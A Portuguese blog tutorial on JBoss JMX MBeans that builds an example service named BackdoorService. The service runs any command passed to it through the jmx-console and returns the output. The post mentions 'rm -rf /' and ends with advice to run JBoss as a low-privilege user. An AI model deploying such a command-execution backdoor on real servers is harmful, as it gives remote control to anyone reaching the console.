A base do JBoss é o JBoss Microkernel que usa a especificação JMX (Java Management Extensions, JSR 003) através da qual módulos podem ser plugados através de MBeans. É assim que serviços de EJB, JMS, JTA, etc são providos no JBoss.
MBeans são simplesmente especificações de interface. Desse modo podemos criar serviços, criar uma MBean que lhe servirá de facade, e fazer o deploy desse MBean no JBoss para expôr esse serviço. Para tanto basta o criar um arquivos SAR ou *-service.xml e fazer seu deploy.
Nesse post vamos criar MBean de exemplo. O exemplo é constituído de 3 coisas:
- Um arquivo
META-INF/jboss-service.xmlcom a descrição do MBean - Uma interface
BackdoorServiceMBean - Uma classe
BackdoorService
Tudo isso compilado em um backdoorService.sar na seguinte estrutura:

A interface deve estende ServiceMBean (classe do JBoss) e seu nome deve terminar em MBean. Ela irá expor as propriedades e operações:
public interface BackdoorServiceMBean extends org.jboss.system.ServiceMBean { public String execute(String command); public String printAbout(); public String getURL(); public void setURL(String url); }
No exemplo são declaradas duas operações, execute(String) e printAbout(), e uma propriedade, URL.
Já a classe deve estende ServiceMBeanSupport (classe do JBoss) e implementar nossa interface BackdoorServiceMBean. Seu nome deve ser o mesmo da interface sem a terminação “MBean”.
public class BackdoorService extends org.jboss.system.ServiceMBeanSupport implements BackdoorServiceMBean { private String url; public String execute(String comando) { ByteArrayOutputStream out = new ByteArrayOutputStream(); byte[] buf = new byte[1024]; int len; try { Process proc = Runtime.getRuntime().exec(comando); while ((len = proc.getInputStream().read(buf)) > 0) { out.write(buf, 0, len); } } catch (IOException e) { e.printStackTrace(); } return out.toString(); } public String printAbout() { return "Visit " + url + "!"; } public String getURL() { return url; } public void setURL(String url) { this.url = url; } }
Por último o arquivo META-INF/jboss-service.xml onde deve constar o nome qualificado da classe MBean e o nome que identificará o MBean (por convenção é da forma <domínio>:<lista de atributos>). Pode-se também definir dependências com outros MBeans ou inicializar propriedades:
<server> <mbean code="net.rafaelliu.BackdoorService" name="rafaelliu:service=BackdoorService"> <attribute name="URL">http://rafaelliu.net</attribute> </mbean> </server>
Testando nosso MBean, entramos em http://localhost:8080/jmx-console. Lá em baixo temos uma nova entrada:

Clicando no MBean, vemos a operação que definimos na interface. Vamos chamá-la com o argumento ls /:

Com isso temos o retorno:

Fácil, ahm?
Moral da história
Para quem nem o código Java nem o nome do serviço foi esclarecedor o suficiente, esse exemplo deve ter ajudado. É um MBean que executa qualquer comando que lhe seja passado como argumento.
Mas pera ai, posso executar qualquer comando mesmo? Até um rm -rf /? Sim. O detalhe é que o comando será executado com o mesmo usuário do JBoss (política de subprocessos do Linux), ou seja, a menos que o JBoss esteja sendo rodado como root, rm -rf / deverá resultar em erro de falta de privilégios.
Agora deve estar bem claro que é uma boa prática definir um usuário jboss com privilégios limitados para executar o processo do JBoss. É claro que um MBean desses não deve nunca ser posto em produção, mas bugs que permitam a execução arbitrária de código são uma realidade.
NOTAS:
- a versão utilizada foi a JBoss 4.2.3.GA
- nas versões mais recentes substituído pelo JBoss Microcontainer que além de JMX faz deploy de POJO e OSGi



